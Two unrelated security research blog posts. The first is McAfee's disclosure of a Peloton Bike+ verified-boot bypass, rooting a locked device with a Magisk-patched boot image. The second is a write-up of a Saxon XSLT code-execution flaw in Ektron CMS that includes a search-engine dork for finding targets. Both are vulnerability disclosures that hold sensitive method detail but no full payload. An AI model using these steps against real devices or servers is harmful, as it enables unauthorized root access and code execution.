The McAfee Advanced Threat Research team (ATR) is committed to uncovering security issues in both software and hardware to help developers provide safer products for businesses and consumers. As security researchers, something that we always try to establish before looking at a target is what our scope should be. More specifically, we often assume well-vetted technologies like network stacks or the OS layers are sound and instead focus our attention on the application layers or software that is specific to a target. Whether that approach is comprehensive sometimes doesn’t matter; and it’s what we decided to do for this project as well, bypassing the Android OS itself and with a focus on the Peloton code and implementations. During our research process, we uncovered a flaw (CVE-2021-33887) in the Android Verified Boot (AVB) process, which was initially out of scope, that left the Peloton vulnerable. 

For those that are not familiar with Peloton, it is a brand that has combined high end exercise equipment with cutting-edge technology. Its products are equipped with a large tablet that interfaces with the components of the fitness machine, as well as provides a way to attend virtual workout classes over the internet. “Under the hood” of this glossy exterior, however, is a standard Android tablet, and this hi-tech approach to exercise equipment has not gone unnoticed. Viral marketing mishaps aside, Peloton has garnered attention recently regarding concerns surrounding the privacy and security of its products. So, we decided to take a look for ourselves and purchased a Pelton Bike+.

Attempting to Backup 

One of the first things that we usually try do when starting a new project, especially when said projects involve large expenses like the Peloton, is to try to find a way to take a backup or system dump that could be used if a recovery is ever needed. Not all of our research techniques keep the device in a pristine state (we’d be poor hackers if they did)and having the ability to restore the device to its factory settings is a safety net that we try to implement on our targets 

Because we are working with a normal Android device with only the Peloton customizations running at the application layer, many of the processes used to back up an Android phone would also work with the Peloton. It is common in the Android custom ROM scene to use a custom recovery image that allows the user to take full flash dumps of each critical partition and provides a method to restore them later. In such communities, it often also goes without saying that the device must first be unlocked in order to perform any of these steps. While the Android OS allows users to flash these critical partitions, there are restrictions in place that typically prevent an attacker from gaining access to the “currently” running system. If an attacker was able to get their hands on an Android device with the goal of installing a rootkit, they would have to jump through some hoops. The first step that an attacker would need to take is to enable “Original Equipment Manufacturer (OEM) Unlocking”, which is a user mode setting within the “developer options” menu. Even with physical access to the bootloader, an attacker would not be able to “unlock” the Android device unless this setting is checked. This option is usually secured behind the user’s password, PIN, or biometric phone lock, preventing an attacker from accessing it easily. The second security measure in place is that even with the “OEM Unlocking” setting on, issuing commands to the bootloader to perform the unlock first causes all data on the Android device, including applications, files, passwords, etc., to be wiped. This way, even if an attacker did gain access to the Android device of an unsuspecting victim, they wouldn’t be able to install a rootkit or modify the existing kernel without deleting all the data, which both prevents personal data from falling into the attacker’s hands and makes it obvious the device has been tampered with. 

For this research effort, wresisted the urge to unlock the Peloton, as there are ways for apps to query the unlock status of a device within Android, and we wanted to ensure that any vulnerabilities we found weren’t the result of the device behaving differently due to it being unlocked. These discrepancies that arise from our research are usually identified by having two target devices: one to serve as the control and the other to serve as the test device. Unfortunately, we only had one Peloton to play with. Another issue was that the Peloton hardware is not very common and the developers of the aforementioned custom recovery images, like Team Win Recovery Project (TWRP), don’t create images for every device,  just the most common ones. So, the easy method of taking a backup would not only require unlocking the device but also trying to create our own custom recovery image 

This left us as at a crossroads. We could unlock the bootloader and root the device, granting us access to the flash memory block devices (raw interfaces to the flash partitions) internallywhich would allow us to create and restore backups as needed. However, as mentioned before, this would leave the bike in a recognizably “tampered” state. Alternatively, we could try to capture one of the bike’s Over-The-Air (OTA) updates to use as backup, but we would still need to “unlock” the device to actually flash the OTA image manually. Both options were less than ideal so we kept looking for other solutions. 

Android Verified Boot Process

Just as Secure Boot provides a security mechanism for properly booting the OS on Windows PCs, Android has implemented measures to control the boot process, called Android Verified Boot (AVB). According to Android’s documentation, AVB requires cryptographically verifying all executable code and data that is part of the Android version being booted before it is used. This includes the kernel (loaded from the boot partition), the device tree (loaded from the dtbo partition), system partition, vendor partition, and so on. 

The Peloton Bike+ ships with the default settings of “Verity Mode” set to trueas well as “Device Unlocked” and “Device Critical Unlocked” set to falsewhich is intended to prevent the loading of modified boot images and provide a way to determine if the device has been tampered with. This information was verified by running fastboot oem device-info on the Peloton, as demonstrated in Figure 1. 

 

Figure 1: OEM device info showing verity mode and unlocked status. 

To clarify, a simplified Android boot process can be visualized as follows: 


Figure 2: Simplified Android Boot Process 

If modified code is found at any of the stages in Figure 2, the boot process should abort or, if the device is unlocked, warn the user that the images are not verified and give the option to the user to abort the boot. 

Given that we defined our scope of this project to not include the Android boot process as a part of our research and verifying that Peloton has attempted to use the security measures provided by Android, we again found ourselves debating if a backup would be possible.  

In newer Android releases, including the Peloton, the update method uses Android’s Seamless System Updates (A/B). This update method no longer needs the “recovery” partition, forcing users who wish to use a custom recovery to use the fastboot boot command which will download and boot the supplied image. This is a temporary boot that doesn’t “flash“ or alter any of the flash partitions of the device and will revert to the previous boot image on restartSince this option allows for modified code to be executed, it is only available when the device is in an unlocked state and will error out with a message stating Please unlock device to enable this command, if attempted on a locked device.  

This is a good security implementation because if this command was always allowed, it would be very similar to the process of booting from a live USB on your PC, where you can login as a root user and have full control over the underlying system and components. 

Booting Modified Code 

This is where our luck or maybe naïveté worked to our advantage. Driven by our reluctance to unlock the device and our desire to make a backup, we tried to boot a generic TWRP recovery image just to see what would happen. The image ended up leaving us at a black screen, and since each recovery image needs to contain a small kernel with the correct drivers for the display, touch digitizer, and other devicespecific hardware, this was to be expectedWhat we didn’t expect, however, was for it to get past the fastboot boot command. While we didn’t get a custom recovery running, it did tell us one thingthe system was not verifying that the device was unlocked before attempting to boot a custom imageNormally this command would be denied on a “locked” device and would have just errored out on the fastboot command, as mentioned previously. 

It is also important to point out that despite having booted a modified image, the internal fuse had not been burned. These fuses are usually burned during the OEM unlocking process to identify if a device has allowed for a different “root of trust” to be installed. The burning of such a fuse is a permanent operation and a burnt fuse often indicates that the device has been tampered with. As shown in Figure 3, the “Secure Boot” fuse was still present, and the device was reporting a locked bootloader. 

Figure 3: Secure boot enabled with fused protection 

Acquiring an OTA Image 

This discovery was unexpected and we felt like we had stumbled upon a flaw that gave us the ability to finally take a backup of the device and leave the Peloton in an “untampered” state. Knowing that a custom image could be booted even with a “locked” bootloader, we began looking at ways to gather a valid boot image, which would contain the correct kernel drivers to facilitate a successful boot. If we could piece together the OTA update URL and just download an update package directly from Peloton, it would likely contain a boot image that we could modifyHaving the ability to modify a boot image would give us root and access to the blocked devices. 

Even with just ADB debugging enabled we were able to pull the Pelotonspecific applications from the device. We listed all the Peloton APKand sought out the ones that could help us get the OTA path, shown in Figure 4. 

Figure 4: Listing Peloton Specific Applications and Highlighting the one related to OTA Updates. 

Finding the name OTAService promising, we pulled down the APK and began to reverse-engineer it using JADX. After some digging, we discovered how the app was building the download URL string for OTA updateswhich would then be passed to beginDownload(), as seen in Figure 5. 

Figure 5OTA image path being constructed as “key” 

We also noticed quite a few Android log calls that could help us, such as the one right before the call to beginDownload(), so we used Android’s builtin logcat command and grepped the output for “OTA” as seen in Figure 6. Doing so, we were able to find which S3 bucket was used for the OTA updates and even a file manifest titled OTAConfig.json  

Figure 6: Relevant OTA logs in red 

Combining the information obtained from OTAService.apk and the logs, we were able to piece together the full path to the OTA images manifest file and names for each OTA zip file, as shown in Figure 7.  

Figure 7: Contents of OTAConfig.json 

Our next step was to extract the contents of the OTA update to get a valid boot.img file that would contain all the specific kernel drivers for the Peloton hardware. Since the Peloton is using AndroidA/B partitions, which facilitate seamless updates, the update packages were stored in a “payload.bin” format. Using the Android payload dumper tool, we were able to extract all of the images contained in the bin file. 

Modifying the Boot Image 

Once the boot.img was extracted, we needed a way to modify the initial kernel to allow us to gain root access on the device. Although there are a variety of ways to accomplish this, we decided to keep things simple and just use the Magisk installer to patch the boot.img file to include the “su” binary. With the boot.img patched, we were able to use the fastboot boot command again but this time passing it our patched boot.img file. Since the Verified Boot process on the Peloton failed to identify the modified boot image as tampered, the OS booted normally with the patched boot.img file. After this process was complete, the Peloton Bike+ was indistinguishable from its “normal” state under visual inspection and the process left no artifacts that would tip off the user that the Pelton had been compromised. But appearances can be deceiving, and in reality the Android OS had now been rootedallowing us to use the su” command to become root and perform actions with UID=0, as seen in Figure 8. 

Figure 8: Booting modified boot.img and executing whoami as Root 

Impact Scenarios 

As we just demonstrated, the ability to bypass the Android Verified Boot process can lead to the Android OS being compromised by an attacker with physical accessA worst-case scenario for such an attack vector might involve a malicious agent booting the Peloton with a modified image to gain elevated privileges and then leveraging those privileges to establish a reverse shell, granting the attacker unfettered root access on the bike remotely. Since the attacker never has to unlock the device to boot a modified image, there would be no trace of any access they achieved on the device. This sort of attack could be effectively delivered via the supply chain process. A malicious actor could tamper with the product at any point from construction to warehouse to delivery, installing a backdoor into the Android tablet without any way the end user could know. Another scenario could be that an attacker could simply walk up to one of these devices that is installed in a gym or a fitness room and perform the same attack, gaining root access on these devices for later use. The Pelobuddy interactive map in figure 9 below could help an attacker find public bikes to attack. 

Figure 9pelobuddy.com’s interactive map to help locate public Peloton exercise equipment. 

Once an attacker has root, they could make their presence permanent by modifying the OS in a rootkit fashion, removing any need for the attacker to repeat this step. Another risk is that an attacker could modify the system to put themselves in a man-in-the-middle position and sniff all network traffic, even SSL encrypted traffic, using a technique called SSL unpinning, which requires root privileges to hook calls to internal encryption functionality. Intercepting and decrypting network traffic in this fashion could lead to users personal data being compromised. Lastly, the Peloton Bike+ also has a camera and a microphone installed. Having remote access with root permissions on the Android tablet would allow an attacker to monitor these devices and is demoed in the impact video below. 

Disclosure Timeline and Patch 

Given the simplicity and criticality of the flaw, we decided to disclose to Peloton even as we continue to audit the device for remote vulnerabilities. We sent our vendor disclosure with full details on March 2, 2021 – shortly after, Peloton confirmed the issue and subsequently released a fix for it in software version “PTX14A-290”. The patched image no longer allows for the “boot” command to work on a user build, mitigating this vulnerability entirelyThe Peloton vulnerability disclosure process was smooth, and the team were receptive and responsive with all communications. Further conversations with Peloton confirmed that this vulnerability is also present on Peloton Tread exercise equipment; however, the scope of our research was confined to the Bike+.

Peloton’s Head of Global Information Security, Adrian Stone, shared the following “this vulnerability reported by McAfee would require direct, physical access to a Peloton Bike+ or Tread. Like with any connected device in the home, if an attacker is able to gain physical access to it, additional physical controls and safeguards become increasingly important. To keep our Members safe, we acted quickly and in coordination with McAfee. We pushed a mandatory update in early June and every device with the update installed is protected from this issue.”

We are continuing to investigate the Peloton Bike+, so make sure you stay up to date on McAfee’s ATR blogs for any future discoveries. 

The post A New Program for Your Peloton – Whether You Like It or Not appeared first on McAfee Blog.

Exploiting the hidden Saxon XSLT Parser in Ektron CMS

2 March 2015 at 13:54

Another vulnerability I came across was in Ektron CMS. It's a .NET-based Web CMS System. If you want to find running instances try "inurl:/workarea filetype:asmx" at Google. The interesting thing about is that Microsoft already reported the initial vulnerability as MSVR12-016 (CVE-2012-5357), but I found a different vector to exploit it.

Summary

From US CERT VU#110652:
Ektron Content Management System version 8.5, 8.7, and 9.0 contain a resource injection vulnerability by using an improperly configured XML parser. By default, Ektron utilizes the Microsoft XML parser to parse XSLT documents, which is not vulnerable. If an attacker specifies use of the Saxon XSLT parser instead, and sends it a specially crafted XSLT document, the attacker may be able to run arbitrary code at the privilege level of the application.

Vulnerability Details

During information gathering, I found several Web services exposed on the Ektron CMS system. One of them was
http://[host]/Workarea/ServerControlWS.asmx
Looking at the WSDL, there was the SOAP method ContentBlockEx, having a parameter that nearly jumped into my face: xslt.

If you can get your data parsed by a XSLT parser, that's almost like hitting the jackpot. The problem was that Ektron already patched the vulnerability by hardening the MSXML parser. Nevertheless, XXE was still possible - but I couldn't get any helpful information out of the system. There was also another vulnerability that allowed me to list directories. Finally, I found the directory with all .net DLL's. After browsing through the directory, I finally found something interesting. There were several saxon9*.dlls. From my former times, I could remember that Saxon allows me to parse XSLT. So I had a look at the documentation at Saxon Function Library.

Looking at the different namespaces, I found several interesting functions working with files, etc. After browsing through the Saxon documentation, I finally found an interesting paragraph Saxon Calling Static Methods in a .NET ClassFrom this, it seemed like I could call static functions of .net CRL classes from Saxon :-)

So I created the following XSLT template:


Putting it all together, the final SOAP request looks like this:

Vendor Response

I wasn't involved, although CERT tried to contact them with no luck.

The fix

Ektron released a Security Update 2 (Releases 8.02 SP5 to 9.10 SP1). To my amazement, Ektron told CERT the following:
This was patched via a cumulative security patcher that was made available Oct 9, 2013 that would apply the updates to versions 8.0.2 to 9.0. The current version of the patcher is available at: https://portal.ektron.com/News/Security/Security_Notice_-_11-25-14/ 8.7sp2 (released 8/16/2013), 9.0sp1 (released 8/19/2013), and 9.1 (released 8/28/2014) were all released with the fix in place. Subsequent service packs also contain the fixes for those versions
To be honest, I don't think this statement is true. What Ektron did in 2013 was to reconfigure Ektron CMS to expose the Web services only on localhost by default. An administrator can still reconfigure it. Nevertheless, with "Security Update 2", all the parser hardening was hopefully implemented. I haven't verified it yet because there is no public download available for the latest version.
❌
❌